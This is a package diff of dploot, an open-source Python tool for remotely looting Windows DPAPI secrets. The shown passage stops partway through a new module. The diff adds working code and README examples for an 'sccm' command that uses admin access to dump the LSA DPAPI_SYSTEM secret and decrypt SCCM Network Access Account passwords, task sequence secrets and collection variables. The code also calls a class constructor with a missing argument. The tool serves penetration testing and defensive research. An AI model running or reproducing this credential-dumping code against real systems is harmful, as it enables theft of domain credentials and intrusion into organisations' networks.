dploot 2.2.4__tar.gz → 2.6.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (39) hide show
  1. {dploot-2.2.4 → dploot-2.6.0}/PKG-INFO +30 -5
  2. {dploot-2.2.4 → dploot-2.6.0}/README.md +29 -4
  3. dploot-2.6.0/dploot/action/sccm.py +128 -0
  4. {dploot-2.2.4 → dploot-2.6.0}/dploot/entry.py +3 -1
  5. {dploot-2.2.4 → dploot-2.6.0}/dploot/triage/browser.py +17 -16
  6. {dploot-2.2.4 → dploot-2.6.0}/dploot/triage/certificates.py +9 -8
  7. {dploot-2.2.4 → dploot-2.6.0}/dploot/triage/credentials.py +9 -8
  8. {dploot-2.2.4 → dploot-2.6.0}/dploot/triage/masterkeys.py +13 -12
  9. {dploot-2.2.4 → dploot-2.6.0}/dploot/triage/rdg.py +15 -14
  10. dploot-2.6.0/dploot/triage/sccm.py +203 -0
  11. {dploot-2.2.4 → dploot-2.6.0}/pyproject.toml +1 -1
  12. {dploot-2.2.4 → dploot-2.6.0}/LICENSE +0 -0
  13. {dploot-2.2.4 → dploot-2.6.0}/dploot/__init__.py +0 -0
  14. {dploot-2.2.4 → dploot-2.6.0}/dploot/action/__init__.py +0 -0
  15. {dploot-2.2.4 → dploot-2.6.0}/dploot/action/backupkey.py +0 -0
  16. {dploot-2.2.4 → dploot-2.6.0}/dploot/action/browser.py +0 -0
  17. {dploot-2.2.4 → dploot-2.6.0}/dploot/action/certificates.py +0 -0
  18. {dploot-2.2.4 → dploot-2.6.0}/dploot/action/credentials.py +0 -0
  19. {dploot-2.2.4 → dploot-2.6.0}/dploot/action/machinecertificates.py +0 -0
  20. {dploot-2.2.4 → dploot-2.6.0}/dploot/action/machinecredentials.py +0 -0
  21. {dploot-2.2.4 → dploot-2.6.0}/dploot/action/machinemasterkeys.py +0 -0
  22. {dploot-2.2.4 → dploot-2.6.0}/dploot/action/machinetriage.py +0 -0
  23. {dploot-2.2.4 → dploot-2.6.0}/dploot/action/machinevaults.py +0 -0
  24. {dploot-2.2.4 → dploot-2.6.0}/dploot/action/masterkeys.py +0 -0
  25. {dploot-2.2.4 → dploot-2.6.0}/dploot/action/rdg.py +0 -0
  26. {dploot-2.2.4 → dploot-2.6.0}/dploot/action/triage.py +0 -0
  27. {dploot-2.2.4 → dploot-2.6.0}/dploot/action/vaults.py +0 -0
  28. {dploot-2.2.4 → dploot-2.6.0}/dploot/action/wifi.py +0 -0
  29. {dploot-2.2.4 → dploot-2.6.0}/dploot/lib/__init__.py +0 -0
  30. {dploot-2.2.4 → dploot-2.6.0}/dploot/lib/crypto.py +0 -0
  31. {dploot-2.2.4 → dploot-2.6.0}/dploot/lib/dpapi.py +0 -0
  32. {dploot-2.2.4 → dploot-2.6.0}/dploot/lib/smb.py +0 -0
  33. {dploot-2.2.4 → dploot-2.6.0}/dploot/lib/target.py +0 -0
  34. {dploot-2.2.4 → dploot-2.6.0}/dploot/lib/utils.py +0 -0
  35. {dploot-2.2.4 → dploot-2.6.0}/dploot/lib/wmi.py +0 -0
  36. {dploot-2.2.4 → dploot-2.6.0}/dploot/triage/__init__.py +0 -0
  37. {dploot-2.2.4 → dploot-2.6.0}/dploot/triage/backupkey.py +0 -0
  38. {dploot-2.2.4 → dploot-2.6.0}/dploot/triage/vaults.py +0 -0
  39. {dploot-2.2.4 → dploot-2.6.0}/dploot/triage/wifi.py +0 -0
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.1
2
2
  Name: dploot
3
- Version: 2.2.4
3
+ Version: 2.6.0
4
4
  Summary: DPAPI looting remotely in Python
5
5
  Home-page: https://github.com/zblurx/dploot
6
6
  License: MIT
@@ -58,6 +58,7 @@ If you don't know what is DPAPI, [check out this post](https://posts.specterops.
58
58
  - [machinetriage](#machinetriage)
59
59
  - [Misc](#misc)
60
60
  - [wifi](#wifi)
61
+ - [sccm](#sccm)
61
62
  - [backupkey](#backupkey)
62
63
  - [Credits](#credits)
63
64
  - [TODO](#TODO)
@@ -570,7 +571,7 @@ Unknown : Password!123
570
571
  The **machinevaults** command will get any machine Vaults file found and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI Vaults blob.
571
572
 
572
573
  ```text
573
- $ dploot machinevaults -d waza.local -u jsmith -p 'Password#123' 192.168.56.14 -debug
574
+ $ dploot machinevaults -d waza.local -u jsmith -p 'Password#123' 192.168.56.14
574
575
  [*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
575
576
 
576
577
  [*] Triage SYSTEM masterkeys
@@ -589,7 +590,7 @@ Key2: 0x1514dd2c8f278ac517cf1ae09255aeaff62219a019bc21ac35321c040064b0b5
589
590
 
590
591
  ### machinecertificates
591
592
 
592
- The **machinecertificates** command will get any machine private key file found and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot willdump DPAPI_SYSTEM LSA secret key. in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI private key blob.
593
+ The **machinecertificates** command will get any machine private key file found and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key. in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI private key blob.
593
594
 
594
595
  It will also dump machine CAPI certificates blob with RemoteRegistry.
595
596
 
@@ -639,7 +640,7 @@ The machinetriage command runs the [machinecredentials](#machinecredentials), [m
639
640
 
640
641
  #### wifi
641
642
 
642
- The **wifi** command will get any wifi xml configuration file file and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot willdump DPAPI_SYSTEM LSA secret key. in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI private key blob.
643
+ The **wifi** command will get any wifi xml configuration file and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key. in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI private key blob.
643
644
 
644
645
  ```text
645
646
  $ dploot wifi -d waza.local -u Administrator -p 'Password!123' 192.168.57.5
@@ -691,9 +692,33 @@ EapHostConfig:
691
692
  [snip]
692
693
  ```
693
694
 
695
+ #### sccm
696
+
697
+ The **sccm** command will retrieve NAA credentials, collection variables and tasks sequences credentials from the remote target and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key. in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI private key blob. Using `-wmi` will dump SCCM secrets from WMI requests results.
698
+
699
+ ```text
700
+ $ dploot sccm -d waza.local -u jsmith -p 'Password#123' 192.168.56.14
701
+ [*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
702
+
703
+ [*] Triage SYSTEM masterkeys
704
+
705
+ {c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46
706
+ {e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba
707
+ {6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89
708
+ {750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049
709
+
710
+ [*] Triage SCCM Secrets
711
+
712
+ [NAA Account]
713
+ Username: NAAAccount
714
+ Password: Password!123
715
+
716
+ [snip]
717
+ ```
718
+
694
719
  #### backupkey
695
720
 
696
- The **backupkey** command will retrieve the domaain DPAPI backup key from a domain controller using [MS-LDAD](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-lsad/1b5471ef-4c33-4a91-b079-dfcbb82f05cc). This key never changes and can decrypt any domain user DPAPI protected secret. Domain Admin privileges are required.
721
+ The **backupkey** command will retrieve the domain DPAPI backup key from a domain controller using [MS-LDAD](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-lsad/1b5471ef-4c33-4a91-b079-dfcbb82f05cc). This key never changes and can decrypt any domain user DPAPI protected secret. Domain Admin privileges are required.
697
722
 
698
723
  By default, this command will write the domain backup key into a file called key.pvk, but you can change this with `outputfile` flag. It is also possible to dump legacy backup key with `legacy` flag.
699
724
 
@@ -32,6 +32,7 @@ If you don't know what is DPAPI, [check out this post](https://posts.specterops.
32
32
  - [machinetriage](#machinetriage)
33
33
  - [Misc](#misc)
34
34
  - [wifi](#wifi)
35
+ - [sccm](#sccm)
35
36
  - [backupkey](#backupkey)
36
37
  - [Credits](#credits)
37
38
  - [TODO](#TODO)
@@ -544,7 +545,7 @@ Unknown : Password!123
544
545
  The **machinevaults** command will get any machine Vaults file found and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI Vaults blob.
545
546
 
546
547
  ```text
547
- $ dploot machinevaults -d waza.local -u jsmith -p 'Password#123' 192.168.56.14 -debug
548
+ $ dploot machinevaults -d waza.local -u jsmith -p 'Password#123' 192.168.56.14
548
549
  [*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
549
550
 
550
551
  [*] Triage SYSTEM masterkeys
@@ -563,7 +564,7 @@ Key2: 0x1514dd2c8f278ac517cf1ae09255aeaff62219a019bc21ac35321c040064b0b5
563
564
 
564
565
  ### machinecertificates
565
566
 
566
- The **machinecertificates** command will get any machine private key file found and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot willdump DPAPI_SYSTEM LSA secret key. in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI private key blob.
567
+ The **machinecertificates** command will get any machine private key file found and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key. in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI private key blob.
567
568
 
568
569
  It will also dump machine CAPI certificates blob with RemoteRegistry.
569
570
 
@@ -613,7 +614,7 @@ The machinetriage command runs the [machinecredentials](#machinecredentials), [m
613
614
 
614
615
  #### wifi
615
616
 
616
- The **wifi** command will get any wifi xml configuration file file and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot willdump DPAPI_SYSTEM LSA secret key. in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI private key blob.
617
+ The **wifi** command will get any wifi xml configuration file and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key. in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI private key blob.
617
618
 
618
619
  ```text
619
620
  $ dploot wifi -d waza.local -u Administrator -p 'Password!123' 192.168.57.5
@@ -665,9 +666,33 @@ EapHostConfig:
665
666
  [snip]
666
667
  ```
667
668
 
669
+ #### sccm
670
+
671
+ The **sccm** command will retrieve NAA credentials, collection variables and tasks sequences credentials from the remote target and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key. in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI private key blob. Using `-wmi` will dump SCCM secrets from WMI requests results.
672
+
673
+ ```text
674
+ $ dploot sccm -d waza.local -u jsmith -p 'Password#123' 192.168.56.14
675
+ [*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
676
+
677
+ [*] Triage SYSTEM masterkeys
678
+
679
+ {c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46
680
+ {e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba
681
+ {6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89
682
+ {750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049
683
+
684
+ [*] Triage SCCM Secrets
685
+
686
+ [NAA Account]
687
+ Username: NAAAccount
688
+ Password: Password!123
689
+
690
+ [snip]
691
+ ```
692
+
668
693
  #### backupkey
669
694
 
670
- The **backupkey** command will retrieve the domaain DPAPI backup key from a domain controller using [MS-LDAD](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-lsad/1b5471ef-4c33-4a91-b079-dfcbb82f05cc). This key never changes and can decrypt any domain user DPAPI protected secret. Domain Admin privileges are required.
695
+ The **backupkey** command will retrieve the domain DPAPI backup key from a domain controller using [MS-LDAD](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-lsad/1b5471ef-4c33-4a91-b079-dfcbb82f05cc). This key never changes and can decrypt any domain user DPAPI protected secret. Domain Admin privileges are required.
671
696
 
672
697
  By default, this command will write the domain backup key into a file called key.pvk, but you can change this with `outputfile` flag. It is also possible to dump legacy backup key with `legacy` flag.
673
698
 
@@ -0,0 +1,128 @@
1
+ import argparse
2
+ import logging
3
+ import os
4
+ import sys
5
+ from typing import Callable, Tuple
6
+ from dploot.action.masterkeys import add_masterkeys_argument_group, parse_masterkeys_options
7
+
8
+ from dploot.lib.smb import DPLootSMBConnection
9
+ from dploot.lib.target import Target, add_target_argument_group
10
+ from dploot.lib.utils import handle_outputdir_option, parse_file_as_list
11
+ from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
12
+ from dploot.triage.sccm import SCCMTriage
13
+
14
+ NAME = 'sccm'
15
+
16
+ class SCCMAction:
17
+
18
+ def __init__(self, options: argparse.Namespace) -> None:
19
+ self.options = options
20
+ self.target = Target.from_options(options)
21
+
22
+ self.conn = None
23
+ self._is_admin = None
24
+ self._users = None
25
+ self.outputdir = None
26
+ self.masterkeys = None
27
+ self.pvkbytes = None
28
+
29
+ self.outputdir = handle_outputdir_option(dir= self.options.export_sccm)
30
+
31
+ if self.options.mkfile is not None:
32
+ try:
33
+ self.masterkeys = parse_masterkey_file(self.options.mkfile)
34
+ except Exception as e:
35
+ logging.error(str(e))
36
+ sys.exit(1)
37
+
38
+ self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(self.options, self.target)
39
+
40
+ def connect(self) -> None:
41
+ self.conn = DPLootSMBConnection(self.target)
42
+ if self.conn.connect() is None:
43
+ logging.error("Could not connect to %s" % self.target.address)
44
+ sys.exit(1)
45
+
46
+ def run(self) -> None:
47
+ self.connect()
48
+ logging.info("Connected to %s as %s\\%s %s\n" % (self.target.address, self.target.domain, self.target.username, ( "(admin)"if self.is_admin else "")))
49
+ if self.is_admin:
50
+ if self.masterkeys is None:
51
+ triage = MasterkeysTriage(target=self.target, conn=self.conn)
52
+ logging.info("Triage SYSTEM masterkeys\n")
53
+ self.masterkeys = triage.triage_system_masterkeys()
54
+ if not self.options.quiet:
55
+ for masterkey in self.masterkeys:
56
+ masterkey.dump()
57
+ print()
58
+
59
+ triage = SCCMTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys, use_wmi=self.options.wmi)
60
+ logging.info('Triage SCCM Secrets\n')
61
+ sccmcreds, sccmtasks, sccmcollections = triage.triage_sccm()
62
+ for sccm_cred in sccmcreds:
63
+ if self.options.quiet:
64
+ sccm_cred.dump_quiet()
65
+ else:
66
+ sccm_cred.dump()
67
+ for sccm_task in sccmtasks:
68
+ if self.options.quiet:
69
+ sccm_task.dump_quiet()
70
+ else:
71
+ sccm_task.dump()
72
+ for sccm_collection in sccmcollections:
73
+ if self.options.quiet:
74
+ sccm_collection.dump_quiet()
75
+ else:
76
+ sccm_collection.dump()
77
+ else:
78
+ logging.info("Not an admin, exiting...")
79
+
80
+ @property
81
+ def is_admin(self) -> bool:
82
+ if self._is_admin is not None:
83
+ return self._is_admin
84
+
85
+ self._is_admin = self.conn.is_admin()
86
+ return self._is_admin
87
+
88
+ def entry(options: argparse.Namespace) -> None:
89
+ a = SCCMAction(options)
90
+ a.run()
91
+
92
+ def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
93
+
94
+ subparser = subparsers.add_parser(NAME, help="Dump SCCM secrets (NAA, Collection variables, tasks sequences credentials) from remote target")
95
+
96
+ group = subparser.add_argument_group("sccm options")
97
+
98
+ group.add_argument(
99
+ "-mkfile",
100
+ action="store",
101
+ help=(
102
+ "File containing {GUID}:SHA1 masterkeys mappings"
103
+ ),
104
+ )
105
+
106
+ add_masterkeys_argument_group(group)
107
+
108
+ group.add_argument(
109
+ "-export-sccm",
110
+ action="store",
111
+ metavar="DIR_SCCM",
112
+ help=(
113
+ "Dump looted SCCM secrets to specified directory"
114
+ )
115
+ )
116
+
117
+ group.add_argument(
118
+ "-wmi",
119
+ action="store_true",
120
+ help=(
121
+ "Dump SCCM secrets from WMI requests results"
122
+ )
123
+ )
124
+
125
+ add_target_argument_group(subparser)
126
+
127
+ return NAME, entry
128
+
@@ -12,6 +12,7 @@ from dploot.action import (
12
12
  vaults,
13
13
  backupkey,
14
14
  rdg,
15
+ sccm,
15
16
  triage,
16
17
  machinemasterkeys,
17
18
  machinecredentials,
@@ -30,6 +31,7 @@ ENTRY_PARSERS = [
30
31
  vaults,
31
32
  backupkey,
32
33
  rdg,
34
+ sccm,
33
35
  triage,
34
36
  machinemasterkeys,
35
37
  machinecredentials,
@@ -81,4 +83,4 @@ def main() -> None:
81
83
 
82
84
 
83
85
  if __name__ == "__main__":
84
- main()
86
+ main()
@@ -13,14 +13,15 @@ from dploot.lib.target import Target
13
13
  from dploot.lib.utils import datetime_to_time
14
14
  from dploot.lib.wmi import DPLootWmiExec
15
15
  from dploot.triage.masterkeys import Masterkey
16
+ from dataclasses import dataclass
16
17
 
18
+ @dataclass
17
19
  class LoginData:
18
- def __init__(self, winuser: str, browser:str, url:str, username:str, password:str):
19
- self.winuser = winuser
20
- self.browser = browser
21
- self.url = url
22
- self.username = username
23
- self.password = password
20
+ winuser: str
21
+ browser: str
22
+ url: str
23
+ username: str
24
+ password: str
24
25
 
25
26
  def dump(self) -> None:
26
27
  print('[%s LOGIN DATA]' % self.browser.upper())
@@ -33,17 +34,17 @@ class LoginData:
33
34
  def dump_quiet(self) -> None:
34
35
  print("[%s] %s - %s:%s" % (self.browser.upper(), self.url, self.username, self.password))
35
36
 
37
+ @dataclass
36
38
  class Cookie:
37
- def __init__(self, winuser: str, browser:str, host:str, path: str, cookie_name:str, cookie_value:str, creation_utc:str, expires_utc:str, last_access_utc:str):
38
- self.winuser = winuser
39
- self.browser = browser
40
- self.host = host
41
- self.path = path
42
- self.cookie_name = cookie_name
43
- self.cookie_value = cookie_value
44
- self.creation_utc = creation_utc
45
- self.expires_utc = expires_utc
46
- self.last_access_utc = last_access_utc
39
+ winuser: str
40
+ browser:str
41
+ host:str
42
+ path: str
43
+ cookie_name:str
44
+ cookie_value:str
45
+ creation_utc:str
46
+ expires_utc:str
47
+ last_access_utc:str
47
48
 
48
49
  def dump(self) -> None:
49
50
  print('[%s COOKIE DATA]' % self.browser.upper())
@@ -2,6 +2,7 @@ import hashlib
2
2
  import logging
3
3
  import ntpath
4
4
  from typing import Dict, List, Tuple
5
+ from dataclasses import dataclass
5
6
 
6
7
  from impacket.dcerpc.v5 import rrp
7
8
 
@@ -23,15 +24,15 @@ from dploot.triage.masterkeys import Masterkey
23
24
 
24
25
  PRINCIPAL_NAME = x509.ObjectIdentifier("1.3.6.1.4.1.311.20.2.3")
25
26
 
27
+ @dataclass
26
28
  class Certificate:
27
- def __init__(self, winuser: str, cert:x509.Certificate, pkey: PrivateKeyTypes, pfx: bytes, username: str, filename: str, clientauth: bool):
28
- self.winuser = winuser
29
- self.cert = cert
30
- self.pkey = pkey
31
- self.pfx = pfx
32
- self.username = username
33
- self.filename = filename
34
- self.clientauth = clientauth
29
+ winuser: str
30
+ cert: x509.Certificate
31
+ pkey: PrivateKeyTypes
32
+ pfx: bytes
33
+ username: str
34
+ filename: str
35
+ clientauth: bool
35
36
 
36
37
  def dump(self) -> None:
37
38
  print('Issuer:\t\t\t%s' % str(self.cert.issuer.rfc4514_string()))
@@ -1,6 +1,7 @@
1
1
  import logging
2
2
  import ntpath
3
3
  from typing import Any, List
4
+ from dataclasses import dataclass
4
5
 
5
6
  from impacket.dpapi import CREDENTIAL_BLOB
6
7
 
@@ -10,15 +11,15 @@ from dploot.lib.target import Target
10
11
  from dploot.lib.utils import is_credfile
11
12
  from dploot.triage.masterkeys import Masterkey
12
13
 
14
+ @dataclass
13
15
  class Credential:
14
- def __init__(self, winuser: str, credblob: "CREDENTIAL_BLOB | Any", target: str, description: str, unknown: str, username: str, password: str):
15
- self.winuser = winuser
16
- self.credblob = credblob
17
- self.target = target
18
- self.description = description
19
- self.unknown = unknown
20
- self.username = username
21
- self.password = password
16
+ winuser: str
17
+ credblob: "CREDENTIAL_BLOB | Any"
18
+ target: str
19
+ description: str
20
+ unknown: str
21
+ username: str
22
+ password: str
22
23
 
23
24
  def dump(self) -> None:
24
25
  self.credblob.dump()
@@ -41,7 +41,7 @@ class MasterkeysTriage:
41
41
  system_masterkeys_generic_path = 'Windows\\System32\\Microsoft\\Protect'
42
42
  share = 'C$'
43
43
 
44
- def __init__(self, target: Target, conn: DPLootSMBConnection, pvkbytes: bytes = None, passwords: Dict[str,str] = None, nthashes: Dict[str,str] = None) -> None:
44
+ def __init__(self, target: Target, conn: DPLootSMBConnection, pvkbytes: bytes = None, passwords: Dict[str,str] = None, nthashes: Dict[str,str] = None, dpapiSystem: Dict[str,str] = {}) -> None:
45
45
  self.target = target
46
46
  self.conn = conn
47
47
  self.pvkbytes = pvkbytes
@@ -50,20 +50,21 @@ class MasterkeysTriage:
50
50
 
51
51
  self._users = None
52
52
  self.looted_files = dict()
53
- self.dpapiSystem = dict()
53
+ self.dpapiSystem = dpapiSystem
54
+ # should be {"MachineKey":"key","Userkey":"key"}
54
55
 
55
56
  def triage_system_masterkeys(self) -> List[Masterkey]:
56
57
  masterkeys = list()
57
58
  logging.getLogger("impacket").disabled = True
58
- self.conn.enable_remoteops()
59
- if self.conn.remote_ops and self.conn.bootkey:
60
-
61
- SECURITYFileName = self.conn.remote_ops.saveSECURITY()
62
- LSA = LSASecrets(SECURITYFileName, self.conn.bootkey, self.conn.remote_ops, isRemote=True,
63
- perSecretCallback=self.getDPAPI_SYSTEM)
64
- LSA.dumpSecrets()
65
- LSA.finish()
66
-
59
+ if len(self.dpapiSystem) == 0:
60
+ self.conn.enable_remoteops()
61
+ if self.conn.remote_ops and self.conn.bootkey:
62
+
63
+ SECURITYFileName = self.conn.remote_ops.saveSECURITY()
64
+ LSA = LSASecrets(SECURITYFileName, self.conn.bootkey, self.conn.remote_ops, isRemote=True,
65
+ perSecretCallback=self.getDPAPI_SYSTEM)
66
+ LSA.dumpSecrets()
67
+ LSA.finish()
67
68
  system_protect_dir = self.conn.remote_list_dir(self.share, path=self.system_masterkeys_generic_path)
68
69
  for d in system_protect_dir:
69
70
  if d not in self.false_positive and d.is_directory()>0 and d.get_longname()[:2] == 'S-':# could be a better way to deal with sid
@@ -150,7 +151,7 @@ class MasterkeysTriage:
150
151
  masterkeys.append(Masterkey(guid=guid, sha1=hexlify(SHA1.new(key).digest()).decode('latin-1'), user=user))
151
152
  return masterkeys
152
153
 
153
- def getDPAPI_SYSTEM(self,secretType, secret) -> None:
154
+ def getDPAPI_SYSTEM(self,_, secret) -> None:
154
155
  if secret.startswith("dpapi_machinekey:"):
155
156
  machineKey, userKey = secret.split('\n')
156
157
  machineKey = machineKey.split(':')[1]
@@ -3,19 +3,20 @@ import ntpath
3
3
  from typing import Any, List, Tuple
4
4
  import xml.etree.ElementTree as ET
5
5
  import base64
6
+ from dataclasses import dataclass
6
7
 
7
8
  from dploot.lib.dpapi import decrypt_blob, find_masterkey_for_blob
8
9
  from dploot.lib.smb import DPLootSMBConnection
9
10
  from dploot.lib.target import Target
10
11
  from dploot.triage.masterkeys import Masterkey
11
12
 
13
+ @dataclass
12
14
  class RDGCred:
13
- def __init__(self, type, profile_name, username, password, server_name = None) -> None:
14
- self.type = type
15
- self.profile_name = profile_name
16
- self.server_name = server_name
17
- self.username = username
18
- self.password = password
15
+ type: str
16
+ profile_name: str
17
+ username: str
18
+ password: str
19
+ server_name: str = None
19
20
 
20
21
  def dump(self) -> None:
21
22
  if self.type == 'cred':
@@ -44,17 +45,17 @@ class RDGCred:
44
45
  elif self.type == 'server':
45
46
  print("[RDG] %s - %s - %s:%s" % (self.profile_name, self.server_name, self.username, self.password.decode('latin-1')))
46
47
 
48
+ @dataclass
47
49
  class RDCMANFile:
48
- def __init__(self, winuser: str, filepath:str, rdg_creds:List[RDGCred]) -> None:
49
- self.winuser = winuser
50
- self.filepath = filepath
51
- self.rdg_creds = rdg_creds
50
+ winuser: str
51
+ filepath: str
52
+ rdg_creds: List[RDGCred]
52
53
 
54
+ @dataclass
53
55
  class RDGFile:
54
- def __init__(self, winuser: str, filepath:str, rdg_creds:List[RDGCred]) -> None:
55
- self.winuser = winuser
56
- self.filepath = filepath
57
- self.rdg_creds = rdg_creds
56
+ winuser: str
57
+ filepath: str
58
+ rdg_creds: List[RDGCred]
58
59
 
59
60
  class RDGTriage:
60
61
 
@@ -0,0 +1,203 @@
1
+ import logging
2
+ import ntpath
3
+ from typing import Any, List, Tuple
4
+ import xml.etree.ElementTree as ET
5
+ import base64
6
+ import re
7
+ from binascii import unhexlify
8
+
9
+ from dploot.lib.dpapi import decrypt_blob, find_masterkey_for_blob
10
+ from dploot.lib.smb import DPLootSMBConnection
11
+ from dploot.lib.target import Target
12
+ from dploot.triage.masterkeys import Masterkey
13
+ from impacket.dcerpc.v5.dcom import wmi
14
+ from impacket.dcerpc.v5.dtypes import NULL
15
+ from impacket.dcerpc.v5.dcomrt import DCOMConnection
16
+
17
+ class SCCMCred:
18
+ def __init__(self, username, password) -> None:
19
+ self.username = username
20
+ self.password = password
21
+
22
+ def dump(self) -> None:
23
+ print('[NAA Account]')
24
+ print('\tUsername:\t%s' % self.username.decode('latin-1'))
25
+ print('\tPassword:\t%s' % self.password.decode('latin-1'))
26
+
27
+
28
+ def dump_quiet(self) -> None:
29
+ print("[NAA] %s:%s" % (self.username.decode('latin-1'), self.password.decode('latin-1')))
30
+
31
+ class SCCMSecret:
32
+ def __init__(self, type, secret) -> None:
33
+ self.type = type
34
+ self.secret = secret
35
+
36
+ def dump(self) -> None:
37
+ print('[Task sequences secret]')
38
+ print('\tSecret:\t%s' % self.secret.decode('latin-1'))
39
+
40
+
41
+ def dump_quiet(self) -> None:
42
+ print("[Task] %s" % (self.secret.decode('latin-1')))
43
+
44
+ class SCCMCollection:
45
+ def __init__(self, variable, value) -> None:
46
+ self.variable = variable
47
+ self.value = value
48
+
49
+ def dump(self) -> None:
50
+ print('[Collection Variable]')
51
+ print("\tName:\t%s" % self.variable.decode('latin-1'))
52
+ print("\tValue:\t%s" % self.value.decode('latin-1'))
53
+
54
+
55
+ def dump_quiet(self) -> None:
56
+ print("[Collection] %s:%s" % (self.variable.decode('latin-1'), self.value.decode('latin-1')))
57
+
58
+ class SCCMTriage:
59
+
60
+ sccm_objectdata_filepath = 'Windows\\System32\\wbem\\Repository\\OBJECTS.DATA'
61
+ share = 'C$'
62
+
63
+ def __init__(self, target: Target, conn: DPLootSMBConnection, masterkeys: List[Masterkey], use_wmi: bool) -> None:
64
+ self.target = target
65
+ self.conn = conn
66
+ self.use_wmi = use_wmi
67
+ self.masterkeys = masterkeys
68
+
69
+
70
+ def sccmdecrypt(self, dpapi_blob):
71
+ if self.use_wmi:
72
+ list_blob = [int(dpapi_blob[i:i+2],16) for i in range(0, len(dpapi_blob), 2)][4:]
73
+ else:
74
+ list_blob = list(bytes.fromhex(dpapi_blob.decode('utf-8')))[4:]
75
+ blob_bytes = bytes(list_blob)
76
+
77
+ masterkey = find_masterkey_for_blob(blob_bytes, masterkeys=self.masterkeys)
78
+ result = ''
79
+ if masterkey is not None:
80
+ result = decrypt_blob(blob_bytes, masterkey=masterkey)
81
+ return result
82
+ else:
83
+ print("Master keys not found for SCCM blob")
84
+ return ""
85
+
86
+ def parseFile(self, objectfile) -> Tuple[List[SCCMCred], List[SCCMSecret], List[SCCMCollection]]:
87
+ sccmcred = list()
88
+ sccmsecret = list()
89
+ sccmcollection = list()
90
+ regex_naa = b"CCM_NetworkAccessAccount.*<PolicySecret Version=\"1\"><!\[CDATA\[(.*?)\]\]><\/PolicySecret>.*<PolicySecret Version=\"1\"><!\[CDATA\[(.*?)\]\]><\/PolicySecret>"
91
+ regex_task = b"</SWDReserved>.*<PolicySecret Version=\"1\"><!\[CDATA\[(.*?)\]\]><\/PolicySecret>"
92
+ regex_collection = b"CCM_CollectionVariable\x00\x00(.*?)\x00\x00.*<PolicySecret Version=\"1\"><!\[CDATA\[(.*?)\]\]><\/PolicySecret>"
93
+ logging.debug("Looking for NAA Credentials from OBJECTS.DATA file")
94
+ pattern = re.compile(regex_naa)
95
+ for match in pattern.finditer(objectfile):
96
+ logging.debug("Found NAA Credentials from OBJECTS.DATA file")
97
+ password = self.sccmdecrypt(match.group(1))
98
+ username = self.sccmdecrypt(match.group(2))
99
+ sccmcred.append(SCCMCred(username, password))
100
+ pattern = re.compile(regex_task)
101
+ logging.debug("Looking for task sequences secret from OBJECTS.DATA file")
102
+ for match in pattern.finditer(objectfile):
103
+ logging.debug("Found task sequences secret from OBJECTS.DATA file")
104
+ secret = self.sccmdecrypt(match.group(1))
105
+ sccmsecret.append(SCCMSecret(secret))
106
+ pattern = re.compile(regex_collection)
107
+ logging.debug("Looking for collection variables from OBJECTS.DATA file")
108
+ for match in pattern.finditer(objectfile):
109
+ logging.debug("Found collection variable from OBJECTS.DATA file")
110
+ name = self.sccmdecrypt(match.group(1))
111
